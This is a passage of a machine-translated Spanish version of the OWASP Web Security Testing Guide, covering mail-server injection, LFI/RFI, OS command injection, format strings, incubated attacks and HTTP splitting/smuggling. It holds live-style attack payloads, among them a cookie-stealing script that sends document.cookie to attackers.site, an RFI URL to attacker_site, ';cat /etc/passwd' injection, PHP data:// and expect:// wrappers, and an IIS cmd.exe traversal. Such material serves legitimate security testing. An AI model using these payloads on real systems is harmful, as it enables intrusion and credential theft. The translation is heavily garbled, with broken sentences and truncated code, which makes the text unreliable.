http://<webmail>/src/read_body.php?mailbox=NOTEXIST&passed_id=46106&startMessage=1
http://<webmail>/src/read_body.php?mailbox=PARÁMETRO DE ENTRADA
2&passed_id=46106&startMessage=1
http://<webmail>/src/read_body.php?mailbox=INBOX"&passed_id=46106&startMessage=1
Eliminar el parámetro :
http://<webmail>/src/read_body.php?passed_id=46106&startMessage=1
código / mensaje S2 - La aplicación hace no devolver un código / mensaje de error , pero él hace
no realizar lo solicitado
298
Un del atacante apuntar es recibir la respuesta S1, ya que es un indicador que la aplicación es
vulnerable a inyección y
más manipulación .
vamos suponer que un usuario recupera los encabezados del correo electrónico utilizando la
siguiente solicitud HTTP :
http://<webmail>/src/view_header.php?mailbox=INBOX&passed_id=46105&passed_ent_id=0
Un agresor podría modificar el valor del parámetro INBOX por inyectando el carácter " (%22
usando codificación URL ):
http://<webmail>/src/view_header.php?mailbox=INBOX%22&passed_id=46105&passed_ent_id=0
el servidor es vulnerable.
Afectado funcionalidad
Después de identificar todos los parámetros vulnerables ( para ejemplo , pass_id ) , el probador
necesidades para determinar qué nivel de
inyección es posible y luego diseñar un plan de pruebas para más explotar la aplicación .
En este caso de prueba, nosotros tener detectado que la aplicación ID_pasado parámetro es
vulnerable y es utilizado en el
siguiente pedido :
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46225&startMessage=1
Usando el siguiente caso de prueba ( proporcionando un alfabético valor cuando un numero valor
es requerido ):
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1
En otra situaciones , el mensaje de error ( no revisado por la aplicación ) contiene el nombre de los
ejecutados
comando , pero leer el RFC adecuado permite al probador a entender qué otro posible los
comandos pueden ser
ejecutado .
299
Si la aplicación hace no devolver mensajes de error descriptivos , el probador necesidades a
analizar a los afectados funcionalidad a
deducir todos los posibles comandos (y parámetros ) asociados con lo anterior mencionado
funcionalidad . Para ejemplo , si
Comando IMAP es CREAR . De acuerdo a al RFC, el comando CREATE acepta uno parámetro cual
especifica el
Tipo , valor y número de parámetros esperado por los comandos IMAP/SMTP afectados
Una vez que el evaluador ha identificado los parámetros vulnerables y ha analizado el contexto en
el que son ejecutados , el siguiente
autenticado . Los comandos inyectados (IMAP) disponibles son limitados a : CAPACIDAD, NOOP,
AUTENTICAR,
http://<correo web>/read_email.php?message_id=4791
vamos suponer también que el resultado del análisis realizado en la etapa 2 (“ Comprender el flujo
de datos y
despliegue estructura del cliente ”) ha identificado el comando y los argumentos asociado con este
parámetro como:
http://<webmail>/read_email.php?message_id=4791 CUERPO[ENCABEZADO]%0d%0aV100
CAPACIDAD%0d%0aV101 FETCH 4791
CAPACIDAD V100
dónde :
300
Referencias
Libros blancos
Vicente Aguilera Díaz: “MX Inyección : Capturando y Explotando Servidores de correo ocultos ”
IDENTIFICACIÓN
WSTG-INPV-11
Resumen
Este La sección describe cómo un probador puede verificar si él es posible a ingresar código como
entrada en una página web y tener él
En codigo Inyección prueba , un probador envía información que es procesada por el servidor web
como dinámico código o como un incluido
archivo. Estos Las pruebas pueden apuntar a varios motores de secuencias de comandos del lado
del servidor , por ejemplo , ASP o PHP. Validación de entrada adecuada y segura.
Objetivos de la prueba
Cómo Probar
Usando la cadena de consulta , el probador puede inyectar código (en este ejemplo , una URL
maliciosa ) que se procesará como parte del
archivo incluido :
http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?
&cmd=uname%20-a
La URL maliciosa es aceptado como parámetro para la página PHP, que voluntad luego use el valor
en un archivo incluido .
Examinar el código ASP para entrada del usuario utilizada en la ejecución funciones . ¿Puede el
usuario ingresar comandos en el campo de entrada de datos ?
Oscuro f so , f
' Los datos de entrada del usuario son escrito a un archivo llamado data.txt
f.cerrar
Establecer f = nada
'Datos.txt es ejecutado
Demás
%>
< nombre de entrada ="Datos" />< tipo de entrada =" enviar " nombre =" Ingresar datos" />
302
<%
Fin Si
%>)))
Referencias
Enfoque de seguridad
Inseguro.org
Wikipedia
303
Pruebas para la inclusión de archivos locales
Resumen
Esto puede llevar a algo como generar el contenido del archivo, pero dependiente Según la
gravedad , también puede provocar :
Código ejecución en el lado del cliente como JavaScript , que puede conducir a otro ataques como
secuencias de comandos entre sitios
(XSS)
Inclusión de archivos locales ( también conocido como LFI) es el proceso de incluyendo archivos
que ya están en la zona presente en el servidor,
Por ejemplo , cuando una página recibe , como entrada, la ruta al archivo que se debe incluir y
esta entrada es no adecuadamente
a scripts PHP vulnerables , nosotros debería tenga en cuenta eso él es también común en otros
tecnologías como JSP, ASP y
otros .
Cómo Probar
Dado que ocurre LFI cuando caminos aprobado a incluir las declaraciones no son adecuadamente
desinfectado , en una caja negra pruebas acercarse ,
nosotros debería buscar scripts que llevar nombres de archivos como parámetros .
http://vulnerable_host/preview.php?file=example.html
Este parece un lugar perfecto para probar LFI . Si un agresor es afortunado suficiente y en cambio
de seleccionando la página apropiada
servidor.
Si lo anterior mencionado se cumplen las condiciones , un agresor haría ver algo como el
siguiente :
...
Incluso cuando tal vulnerabilidad existe , su explotación podría ser más complejo en la vida real
escenarios . Considera el
304
Sustitución sencilla con un azar Nombre del archivo haría no funciona como postfijo . PHP es
adjunto a la entrada proporcionada . En
orden Para evitarlo , un probador puede usar varios técnicas a obtener lo esperado explotación .
el nulo personaje ( también conocido como nulo terminador o nulo byte) es un personaje de
control con el valor cero
presente en muchos conjuntos de caracteres que es ser utilizado como reservado personaje a
marca el final de una cuerda . Una vez utilizado , cualquier
personaje después de este Se ignorará el byte especial . Comúnmente la manera a inyectar este
personaje seria con la URL
codificado cadena %00 por añadiendo él a lo solicitado camino . En nuestro anterior muestra ,
realizando una solicitud a
agregado al nombre del archivo de entrada , regresando a un atacante una lista de básico usuarios
como resultado de un exitoso explotación .
La mayoría de las instalaciones de PHP tener un nombre de archivo límite de 4096 bytes. Si
cualquier dado Nombre del archivo es más extenso que eso longitud , PHP simplemente
trunca eso , descartándolo cualquier adicional caracteres . Abusar este comportamiento marcas él
posible a hacer el motor PHP
ignora el . PHP extensión por Moviente él afuera del límite de 4096 bytes . Cuando este sucede ,
no hay ningún error motivado ; el
adicional los personajes son simplemente cayó y PHP continúa su ejecución normalmente .
Este bypass comúnmente combinarse con otro estrategias de derivación lógica como la
codificación parte de la ruta del archivo con
Codificación Unicode , introducción. de doble codificación , o cualquier otra entrada que haría aún
representar lo válido deseado
Envoltorios PHP
Inclusión de archivos locales las vulnerabilidades son comúnmente visto como leído solo
vulnerabilidades eso un El atacante puede utilizar para leer
datos confidenciales del servidor que aloja la aplicación vulnerable . Sin embargo , en algunos
específico implementaciones este
Este mejora es común cuando un agresor podría ser capaz para combinar la vulnerabilidad LFI con
ciertos PHP
envoltorios .
un envoltorio es un codigo eso rodea otro código a llevar a cabo alguno agregado funcionalidad .
Implementos PHP muchos incorporado
envoltorios para ser utilizado con sistema de archivos funciones . Una vez que su uso es detectado
durante la prueba proceso de un
aplicación , es una buena práctica para tratar de abusar de ello a identificar el riesgo real de lo
detectado debilidad (es). Abajo puede
obtener una lista con la mayoria comúnmente usado envoltorios , incluso aunque tú debería
considerar eso él es no exhaustiva y en el
al mismo tiempo es posible a registro costumbre envoltorios eso si empleado por el objetivo, sería
requieren un análisis ad hoc más profundo
análisis .
Filtro PHP
Solía hacerlo acceder al sistema de archivos local ; este no distingue entre mayúsculas y
minúsculas envoltura eso proporciona la capacidad a aplicar filtros a un
recuperar . Como resultado del uso de este ejecución , el contenido del archivo de destino sería
leído , codificado a base64 ( esto
es el paso que impide la ejecución del lado del servidor ), y devuelve al Usuario -Agente .
PHP ZIP
En PHP 7.2.0, el contenedor zip:// era introducido a manipular archivos comprimidos zip . Este
envoltura espera el
305
malicioso y nombre_archivo interno es el camino donde se coloca el archivo malicioso dentro del
archivo ZIP procesado .
Durante la explotación , es común que el # estaría codificado con está codificado en URL valor %
23 .
Abuso de este envoltura podría permitir un agresor a diseñar un archivo ZIP malicioso que podría
ser subido al servidor, para
ejemplo como imagen de avatar o usando cualquier archivo cargado sistema disponible en el sitio
web de destino (el contenedor php:zip ://
hace no requiere el archivo zip para tener cualquier específico extensión ) a ejecutar por la
vulnerabilidad LFI .
En orden para probar esto vulnerabilidad , lo siguiente procedimiento podría ser seguido a atacar
al anterior código ejemplo
proporcionó .
1. Cree el archivo PHP a ejecutar , por ejemplo con el contenido <? PHP phpinfo ( ); ?> y guardar
como code.php
3. Cambie el nombre del archivo target.zip a target.jpg para omitir la extensión. validación y carga
él al sitio web de destino
vulnerabilidad con el contenedor PHP ZIP por inyectando lo siguiente carga útil a la URL
vulnerable:
Desde en nuestro muestra el . PHP extensión es concatenado a nuestro carga útil , la solicitud a
Datos PHP
BASE64_STR es esperado para ser codificado en Base64 contenido del expediente a tramitar . Es
importante a considerar eso
este envoltura haría solo estar disponible si la opción permitir_url_incluir estaría habilitado .
En orden para probar el LFI usando este envoltorio , el código ser ejecutado debe estar codificado
en Base64 , por ejemplo , el <? PHP
datos://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg= = .
PHP esperar
Este envoltura , que es no activado por defecto, proporciona acceso a procesos estadio , salida
estándar y stderr . esperando
para ser utilizado como expect://command lo haría el servidor ejecutar lo proporcionado dominio
en BASH y regresar es resultado .
Remediación
por la página y luego use un identificador ( para ejemplo el índice número ) a acceso al archivo
seleccionado . Cualquier pedido
que contiene un inválido El identificador debe ser rechazado , en este caso forma allá no es un
ataque superficie para malicioso usuarios a
manipular el camino .
Controlar salir de la carga de archivos Engañar Hoja para bien seguridad practicas en este tema .
Herramientas
kadimus
Suite LFI
Referencias
Wikipedia
Nulo personaje
Codificación Unicode
306
Doble Codificación
307
Pruebas para la inclusión remota de archivos
Resumen
Esto puede llevar a algo como generar el contenido del archivo, pero dependiente Según la
gravedad , también puede provocar :
Código ejecución en el lado del cliente como JavaScript , que puede conducir a otro ataques como
secuencias de comandos entre sitios
(XSS)
Inclusión remota de archivos ( también conocido como RFI) es el proceso de incluyendo archivos
remotos a través de la explotación de vulnerable
inyectado . A pesar de mayoría ejemplos punto a scripts PHP vulnerables , nosotros debería tenga
en cuenta eso él es también común en
Cómo Probar
Desde que ocurre la RFI cuando caminos aprobado " incluir " declaraciones no son adecuadamente
desinfectado , en una prueba de caja negra
acercarnos , nosotros debería buscar scripts que llevar nombres de archivos como parámetros .
Considere el siguiente ejemplo de PHP :
$ incfile = $_REQUEST["archivo"];
En esto ejemplo el camino es extraído de la solicitud HTTP y sin validación de entrada está hecho
( para ejemplo , por comprobación
la entrada contra un permitir lista ), por lo que esto retazo de código resultados vulnerables a este
tipo de ataque . Considera lo siguiente
URL:
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
En este caso el archivo remoto es yendo a incluir y cualquier código contenido en él es yendo para
ser ejecutado por el servidor.
Remediación
por la página y luego use un identificador ( para ejemplo el índice número ) a acceso al archivo
seleccionado . Cualquier pedido
que contiene un inválido El identificador debe ser rechazado , en este caso forma allá no es un
ataque superficie para malicioso usuarios a
manipular el camino .
Referencias
308
IDENTIFICACIÓN
WSTG-INPV-12
Resumen
Este artículo describe cómo para probar un solicitud para el comando del sistema operativo
inyección . el probador tratará de inyectar un comando del sistema operativo
comando del sistema operativo inyección es una técnica usado a través de una interfaz web para a
ejecutar comandos del sistema operativo en un servidor web. El
usuario suministros operando sistema comandos a través de una interfaz web para a ejecutar
comandos del sistema operativo . cualquier web
interfaz que es no adecuadamente desinfectado es sujeto a este explotar . con la capacidad a
ejecutar comandos del sistema operativo , el usuario puede
subir malicioso programas o incluso obtener contraseñas . comando del sistema operativo
inyección es evitable cuando seguridad es
Objetivos de la prueba
Cómo Probar
Cuando Al ver un archivo en una aplicación web , el nombre del archivo. es a menudo se muestra
en la URL. Perl permite datos de tuberías de un
proceso en una declaración abierta . El usuario puede simplemente agregue el símbolo de tubería
| hasta el final del nombre del archivo .
http://sensible/cgi-bin/userData.pl?doc=user1.txt
http://sensible/cgi-bin/userData.pl?doc=/bin/ls|
Agregar un punto y coma hasta el final de una URL para una página .PHP seguida por un operando
sistema comando , voluntad ejecutar
Ejemplo :
http://sensible/algo.php?dir=%3Bcat%20/etc/passwd
Ejemplo
un proxy personal ( como ZAP o Burp Suite), puedes obtener un POST HTTP como el siguiente
( http://www.example.com/public/doc ):
Anfitrión: www.ejemplo.com
[...]
Referencia : http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
309
Doc=Doc1.pdf
( http://www.example.com/public/doc ):
Anfitrión: www.ejemplo.com
[...]
Referencia : http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Producción...
Directorio De c:\
16/11/2006 10:43
Doc
11/11/2006 17:25
documentos y configuraciones
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
OWASP1.JPG
11/03/2006 18:29
Progreso
18/11/2006 11:20
Archivos de programa
16/11/2006 21:12
Software
24/10/2006 18:25
Configuración
24/10/2006 23:37
Tecnologías
18/11/2006 11:14
Devolver código : 0
En este caso, nosotros tener exitosamente realizado una inyección de sistema operativo ataque .
La siguiente especial el personaje puede ser usado para dominio inyección como por ejemplo | ;
&$><'!
cmd1|cmd 2 : Usos de | voluntad hacer comando 2 a ejecutar clima ejecución del comando 1 es
exitoso o no .
cmd 1;cmd 2: Usos de ; voluntad hacer comando 2 a ejecutar clima ejecución del comando 1 es
exitoso o no .
310
cmd1 y cmd 2: El comando 2 sólo ser ejecutado si ejecución del comando 1 tiene éxito .
$( cmd ): Para ejemplo , echo $( whoami ) o $( touch test.sh; echo ' ls ' > test.sh)
ser consciente de los usos de siguiente API como puede introducir el comando inyección riesgos .
Java
tiempo de ejecución.exec ()
C/C++
sistema
ejecutivo
ShellEjecutar
Pitón
ejecutivo
evaluar
sistema operativo
os.popen
subproceso.popen
subproceso.llamada
PHP
sistema
shell_exec
ejecutivo
proc_abierto
evaluar
Remediación
Sanitización
La URL y los datos del formulario necesitan ser desinfectado para inválido caracteres . una
negación lista de caracteres es un opción pero él tal vez
difícil a pensar de todo de los personajes a validar contra . También allá talvez algo eso eran no
descubierto a partir de todavía .
Un permitir lista que contiene solo admisible caracteres o dominio lista debe ser creado a validar
la entrada del usuario .
Caracteres eso eran perdidos y no descubiertos amenazas , deben ser eliminadas por este lista .
negación general lista ser incluido para dominio inyección puede ser | ; &$><'\! >>#
escapar o filtrar especial caracteres para ventanas , () <> & *' | = ? ; [ ] ^ ~ ! . "%@/\
: + , ` Escapar o filtrar especial caracteres para Linux, { } ( ) > < & * ' | = ? ; [ ] $ – # ~
!."%/\:+,`
Permisos
La aplicación web y su componentes debería estar funcionando bajo estricto permisos eso no
permitir operando sistema
dominio ejecución . Intentar verificar todo este información para probar desde una prueba de caja
gris punto de vista .
311
Herramientas
OWASP WebCabra
Commix
Referencias
312
IDENTIFICACIÓN
WSTG-INPV-13
313
IDENTIFICACIÓN
WSTG-INPV-13
Resumen
un formato cadena es terminado en nulo personaje secuencia eso también contiene conversión
especificadores interpretado o
convertido en tiempo de ejecución . Si es del lado del servidor código concatena la entrada de un
usuario con un formato cuerda , un el atacante puede agregar
El peor caso para formato instrumentos de cuerda vulnerabilidades ocurren en idiomas eso no
controlar argumentos y también incluir un %n
especificador eso escribe a memoria . Estos funciones , si explotado por un agresor modificando
un formato cuerda , podría causar
Estos formato cadena funciones no puedo escribir a memoria , pero Los atacantes aún pueden
causar información. divulgación por cambiando
formato instrumentos de cuerda para generar valores los desarrolladores hizo no pretender a
enviar :
Python 2.6 y 2.7 str.format y Python 3 unicode str.format se puede modificar por inyectando
instrumentos de cuerda que puede señalar a
impresión PHP
El código patrón eso provoca un formato cadena vulnerabilidad es una llamada a una cuerda
formato función eso contiene no desinfectado
del usuario . La siguiente El ejemplo muestra cómo una depuración imprimirf podría hacer que un
programa sea vulnerable:
El ejemplo en C:
El ejemplo en Java:
cadena final nombre de usuario = /* entrada del usuario revisado campo */;
// código vulnerable :
En este ejemplo particular , si el atacante configuró su nombre de usuario a tener uno o más
conversión especificadores , hay sería
314
todavía hay ejemplos sujeto a otro problemas , la vulnerabilidad se puede solucionar por imprimirf
argumentos de printf ( "DEPURAR
Objetivos de la prueba
Evaluar si inyectando formato cadena conversión especificadores en controlado por el usuario
campos causan indeseados
comportamiento de la aplicación .
Cómo Probar
Pruebas incluir análisis del código e inyectando conversión especificadores como entrada del
usuario a la aplicación bajo prueba.
Estático Análisis
Estático análisis puede pasar por alto casos más sutiles , incluidos formato instrumentos de cuerda
generado por complejo código . Buscar
vulnerabilidades manualmente en una base de código , un evaluador puede buscar todo llamadas
en el código base eso aceptar un formato cuerda y
rastrear hasta hacer seguro la entrada que no es de confianza no puede cambiar el formato
cadena .
Los probadores pueden verificar en la prueba unitaria o en el nivel de prueba del sistema
completo . por enviando conversión especificadores en cualquier entrada de cadena . Borrar el
programa usando todo de la conversión especificadores para todo idiomas el sistema usos bajo
prueba. Ver el formato OWASP
cadena página de ataque para posibles insumos a utilizar. Si la prueba falla , el programa voluntad
chocar o mostrar un salida inesperada . Si
la prueba pasa , el intento a enviar una conversión especificador debe ser bloqueado , o la cadena
debería ir a través de
https://vulnerable_host/userinfo?username=x
Los evaluadores pueden realizar una prueba manual utilizando un navegador web o otra
depuración de API web herramientas . Navegar a la web
solicitud o sitio tal que la consulta tenga conversión especificadores . Tenga en cuenta que
mayoría conversión especificadores necesidad codificación si
enviado dentro de una URL porque ellos contener especial caracteres incluyendo % y { . La prueba
puede introducir una cadena. de
https://vulnerable_host/userinfo?username=%25s%25s%25s%25n
Si el sitio web es vulnerable, el navegador o herramienta debería recibir un error, que puede
incluir un tiempo de espera o un retorno HTTP
código 500.
315
Fuzzing herramientas incluido wfuzz puede automatizar inyección pruebas . Para wfuzz , empieza
con un archivo de texto (fuzz.txt en este ejemplo ) con
fuzz.txt:
Alicia
% s%s%s%n
% p%p%p%p%p
Una entrada válida alicia a verificar que la aplicación pueda procesar una entrada normal
en lo anterior llamar , el código de URL argumento permite la adecuada escapando para las
cuerdas y FUZZ ( con mayúscula
==================================================== ==================
316
IDENTIFICACIÓN
WSTG-INPV-14
Resumen
validación de datos vulnerabilidad a trabajar . incubado Las vulnerabilidades suelen ser usado a
realizar “ riego ataques de agujero
El vector de ataque necesita para persistir en primer lugar , necesidades para ser almacenado en la
persistencia capa , y esto
haría solo ocurrir si validación de datos débil era presente o llegaron los datos en el sistema a
través de otro canal semejante
En segundo lugar , una vez que se “ recuperó ” el vector de ataque , el vector necesidad ser
ejecutado exitosamente . Para ejemplo ,
un ataque XSS incubado haría requerir validación de salida débil para que se entregue el script al
cliente en su
ejecutable forma .
pedazo de datos que voluntad más tarde ser recuperado por un nada suspicaz usuario o otro
componente del sistema , explotando alguno
vulnerabilidad allá .
seguridad asunto encontró a construir un lado del cliente basado ataque eso generalmente se
utilizará para apuntar a una gran número de víctimas en el
Este tipo de asincrónico ataque cubre una gran espectro de ataque vectores , entre ellos lo
siguiente :
Subir archivo componentes en una aplicación web , permitiendo al atacante a subir archivos
multimedia corruptos ( imágenes JPEG
componente , etc).
Problemas de secuencias de comandos entre sitios en público publicaciones en foros ( ver Pruebas
para Secuencias de comandos entre sitios almacenadas para adicional detalles ).
( p. ej ., una base de datos ) para que este script/ código obtiene ejecutado por uno de los usuarios
( final usuarios , administradores , etc ). El
ejecutado en el navegador del usuario del sitio – utilizando el nivel de confianza del sitio original
(vulnerable) en el navegador del usuario .
Inyección SQL/XPATH permitiendo al atacante a subir contenido a una base de datos , que Será
más tarde recuperado como parte de
contenido activo en una página web. Para Por ejemplo , si el atacante puede publicar JavaScript
arbitrario en un boletín tablero así
eso él obtiene ejecutado por usuarios , entonces él podría tomar control de sus navegadores ( por
ejemplo , XSS-proxy).
Servidores mal configurados que permiten instalación de paquetes Java o componentes similares
del sitio web (es decir, Tomcat o web
Objetivos de la prueba
317
Cómo Probar
Verificar el contenido tipo permitido a subir a la aplicación web y la URL resultante para el archivo
cargado . Sube un
archiva eso voluntad explotar un componente en el usuario local puesto de trabajo cuando visto o
descargado por el usuario . Enviar su
víctima un correo electrónico o otro amable de alerta en orden guiarlo / ella a navegar por la
página. Lo esperado resultado es la hazaña voluntad
ser activado cuando el usuario navega por la página resultante o descarga y ejecuta el archivo
desde el sitio de confianza .
1. Introduzca el código JavaScript como valor. para el campo vulnerable , para instancia
<script> document.write ('< img
src="http://attackers.site/cv.jpg?'+document.cookie+'">')</script>
2. Usuarios directos a navegar por la página vulnerable o esperar para los usuarios a navegar él .
Tener un " oyente " en attackers.site
3. Cuando usuarios navegar por la página vulnerable, una solicitud que contiene su cookie
( documento .cookie es incluido como parte
de la URL solicitada ) se enviará al host de attackers.site , como por ejemplo: GET /cv.jpg?
Generalmente , este conjunto de ejemplos aprovecha los ataques XSS por explotando una
inyección SQL vulnerabilidad . La primera cosa probar es
si el sitio de destino tiene una inyección SQL vulnerabilidad . Este es descrito en Pruebas para
inyección SQL . Para cada inyección SQL vulnerabilidad , hay es un conjunto subyacente de
restricciones describiendo el tipo de consultas que el atacante / pentester
es permitido hacer .
el probador luego tiene que coincidir con los ataques XSS que ha ideado con las entradas que el es
permitido a insertar .
De manera similar al ejemplo XSS anterior , use un campo de página web vulnerable a la inyección
SQL . asuntos a cambiar
un valor en la base de datos eso Sería usado por la aplicación como entrada para ser mostrada en
el sitio sin adecuado filtración
( este sería una combinación de una inyección SQL y un problema XSS ). Para ejemplo , vamos
suponer allá es una mesa de pie de página
en la base de datos con todo pies de página para las páginas del sitio web , incluyendo un aviso
campo con el aviso legal eso aparece en el
parte inferior de cada página web. Tú podría utilizar lo siguiente consulta a inyectar código
JavaScript al aviso campo en el
DE tabla_x
</script>'
Ahora , cada usuario navegar por el sitio silenciosamente enviar sus cookies al sitio de atacantes .
Algunos servidores web presentes un interfaz de administración que puede permitir un agresor a
cargar componentes activos de su
elección al sitio. Este podría ser el caso con un servidor Apache Tomcat que no hacer cumplir
fuerte cartas credenciales a
acceso su Administrador de aplicaciones web ( o si los probadores de pluma tener estado capaz a
obtener válido cartas credenciales Para el
En este caso, se puede cargar un archivo WAR y crear una nueva aplicación web. desplegados en el
lugar, que voluntad no solo permitir el
los usuarios habituales del sitio pueden entonces acceso ( la mayoría probablemente con un
mayor grado de confianza que cuando acceder a un diferente
sitio).
318
Como debería También será obvia la capacidad a cambiar el contenido de la página web en el
servidor, a través de cualquier vulnerabilidades eso tal vez
explotable en el host que voluntad darle al atacante raíz web escribir permisos , voluntad también
ser útil hacia plantando semejante
un incubado ataque en las páginas del servidor web ( en realidad , esto es un conocido método de
propagación de infección para algún servidor web
gusanos ).
Caja gris o prueba de caja blanca técnicas será el mismo que antes discutido .
Examinar la validación de entrada es clave para mitigar contra este vulnerabilidad . Si otro Los
sistemas de la empresa utilizan
mismo persistencia capa ellos puede tener validación de entrada débil y los datos pueden persistir
a través de una puerta trasera .
Para combatir la puerta trasera asunto para lado del cliente ataques , validación de salida debe
También se emplearán datos tan contaminados .
Herramientas
proxy XSS
Suite de eructos
metasploit
Referencias
Mayoría de las referencias de la sección Cross-site scripting son válidas . Como se explica arriba ,
incubado los ataques son
Avisos
Aviso CERT CA-2000-02 Etiquetas HTML maliciosas integradas en solicitudes web del cliente
Libros blancos
319
IDENTIFICACIÓN
WSTG-INPV-15
Resumen
Este sección ilustra ejemplos de ataques eso aprovechar específico características del protocolo
HTTP , ya sea por explotando
debilidades de la aplicación web o peculiaridades en el camino diferente agentes interpretar
mensajes HTTP . Este sección
voluntad analizar dos diferente ataques que apuntan a encabezados HTTP específicos :
división HTTP
Contrabando de HTTP
La primera ataque explota una falta de sanitización de insumos cual permite un intruso a insertar
caracteres CR y LF en el
encabezados de la respuesta de la solicitud y ' dividir ' esa respuesta en dos diferentes mensajes
HTTP . La meta del ataque
En el segundo ataque , el atacante explota el hecho eso alguno especialmente Los mensajes HTTP
elaborados se pueden analizar y
conocimiento sobre los diferentes agentes que manejan los mensajes HTTP (servidor web, proxy ,
firewall) y por lo tanto
Objetivos de la prueba
Evaluar si la aplicación es vulnerable a dividir , identificar qué posible Los ataques son posibles .
Cómo Probar
División HTTP
Algunas aplicaciones web utilizan parte de la entrada del usuario a generar los valores de alguno
encabezados de sus respuestas. lo mas
directo ejemplo es proporcionó por redirecciones de las que depende la URL de destino en alguno
enviado por el usuario valor .
vamos decir para instancia que el usuario es preguntó a elegir si ellos Prefiero un estándar o
interfaz web avanzada . El
correspondiente .
Más específicamente , si el parámetro 'interfaz' tiene el valor ' avanzado ', la aplicación voluntad
respuesta con lo siguiente :
Ubicación : http://victim.com/main.jsp?interface=advanced
Cuando recepción este mensaje , el navegador traer al usuario a la página indicada en la Ubicación
encabezado . Sin embargo , si
la aplicación hace no filtrar la entrada del usuario , será posible a inserte en el parámetro 'interfaz'
la secuencia
%0d%0a, que representa la secuencia CRLF eso es usado a separado diferente líneas . En esto
punto , probadores será capaz
a desencadenar una respuesta que se interpretará como dos diferentes respuestas por cualquiera
OMS sucede a analizar gramaticalmente esto para
instancia un caché web sentado entre Nosotros y la aplicación . Esto se puede aprovechar por un
agresor a veneno esta web
caché para que él voluntad proporcionar contenido falso en todos subsecuente peticiones .
320
vamos decir que en el anterior ejemplo el probador pasa los siguientes datos como parámetro de
interfaz :
advanced%0d%0aContent- Longitud:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aTipo
de contenido:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d% 0a<html>Lo siento,
%20System%20Down</html>
Ubicación : http://victim.com/main.jsp?interface=advanced
Contenido- Longitud : 0
Contenido- Longitud : 35
< html > Lo siento,% 20System%20Down</ html >
El caché web ver dos diferentes respuestas, por lo que si el atacante envía , inmediatamente
después del primero petición , un segundo
uno preguntando para /index.html , el caché web coincidirá con esto pedido con la segunda
respuesta y almacenar en caché su contenido , entonces
eso todo subsecuente peticiones dirigido a victim.com/index.html pasando por ese caché web
Recibe el
" sistema abajo ” mensaje . En esto manera , un agresor sería capaz a desfigurar efectivamente el
sitio para todo usuarios usando esa web
caché ( todo Internet, si el caché web es un proxy inverso para la aplicación web ).
a robar las galletas. Tenga en cuenta que mientras que la vulnerabilidad está en la aplicación , el
objetivo aquí es es usuarios . Por lo tanto , para
buscar este vulnerabilidad , el probador necesidades a identificar todo usuario entrada controlada
que influencias uno o más encabezados en
los encabezados eso es lo mas candidatos probables para este ataque son:
Ubicación
Conjunto de cookies
Él debe tenerse en cuenta que un exitoso explotación de este vulnerabilidad en un mundo real El
escenario puede ser bastante complejo , ya que
1. El pentester debe establezca correctamente los encabezados en la respuesta falsa para él tener
éxito almacenado en caché ( por ejemplo , un último Modificado encabezamiento con fecha fijada
en el futuro). Ellos podría también tener a destruir previamente almacenado en caché versiones
del
buscapersonas de destino , por emitiendo un preliminar pedido con Pragma: sin caché en la
solicitud encabezados
2. La aplicación , mientras no filtrar la secuencia CR+LF , podría filtrar otro caracteres que son
necesarios para
exitoso ataque ( por ejemplo , < y >) . En este caso, el evaluador puede intentar utilizar otros
codificaciones ( por ejemplo , UTF-7)
3. Algunos destinos ( p. ej ., ASP) codificarán la ruta en URL parte de la Ubicación encabezado ( por
ejemplo ,
www.victim.com/redirect.asp ) , haciendo una secuencia CRLF inútil . Sin embargo , ellos fallar a
codificar la consulta
sección ( p. ej . , ?interface = advanced ), es decir que un líder pregunta marca es suficiente para
evitar esto filtración
Para una más detallada discusión acerca de este ataque y otros información acerca de posible
escenarios y aplicaciones ,
División HTTP
Un éxito explotación de la división HTTP es muy ayudó por conocimiento alguno detalles de la
aplicación web y de la
del ataque . Para Por ejemplo , diferentes objetivos pueden utilizar diferentes métodos para
decidir cuando el primer mensaje HTTP termina y
cuando el segundo empieza . Alguno usará el mensaje límites , como en el anterior ejemplo . Otros
objetivos asumir
eso diferente mensajes será llevado por diferente paquetes . Otros voluntad asignar para cada
envía un mensaje a un número de trozos
321
voluntad requiere el probador usar relleno entre los dos mensajes . Este podría causar algunos
problema cuando los vulnerables
parámetro es para ser enviado en la URL, como un muy la URL larga es probable ser truncado o
filtrado . Un escenario de caja gris puede ayudar
el atacante a encontrar una solución alternativa : varias servidores de aplicaciones , para ejemplo ,
voluntad permitir la solicitud para ser enviado usando la publicación
en cambio de OBTENER.
Contrabando HTTP
tipo relativamente nuevo de ataque era primero descubierto por Chaim Linhart , Amit Klein,
Ronen Heled y Steve Orrin en 2005.
Hay varios posible aplicaciones y nosotros voluntad analizar uno de los más espectacular : la
circunvalación de un solicitud
escenarios .
Hay varios productos eso habilitar un sistema administración a detectar y bloquear una solicitud
web hostil dependiente en
alguno conocido malicioso patrón eso es incrustado en la solicitud . Para Por ejemplo , considere el
antiguo e infame Unicode.
directorio el recorrido ataque contra el servidor IIS, en el que un agresor podría romper la raíz
www por emitiendo una solicitud como :
De por supuesto , eso es bastante fácil detectar y filtrar este ataque por la presencia de
instrumentos de cuerda como “..” y “cmd.exe” en la URL.
Sin embargo , IIS 5.0 es bastante exigente. sobre solicitudes POST cuyo cuerpo tiene hasta 48K
bytes y se trunca todo contenido eso es
puede aprovechar este por creando un muy grande solicitud , estructurada de la siguiente
manera :
Anfitrión: objetivo
<CRLF>
<CRLF>
xxxx : POST /scripts/..%c1%1c../ winnt /system32/cmd.exe?/ c+dir HTTP/1.0 <-- Solicitud n.º 4
<CRLF>
Qué sucede aquí es que la Solicitud #1 es hecho de 49223 bytes, que incluye tambien las lineas de
Solicitud # 2 .
Por lo tanto , un firewall ( o cualquier otro agente además de IIS 5.0 ) ver Solicitud #1, voluntad
fallar a ver Solicitud #2 ( sus datos serán
justo parte de #1), será ver Solicitud n.° 3 y omita la Solicitud n . ° 4 ( porque el POST será solo
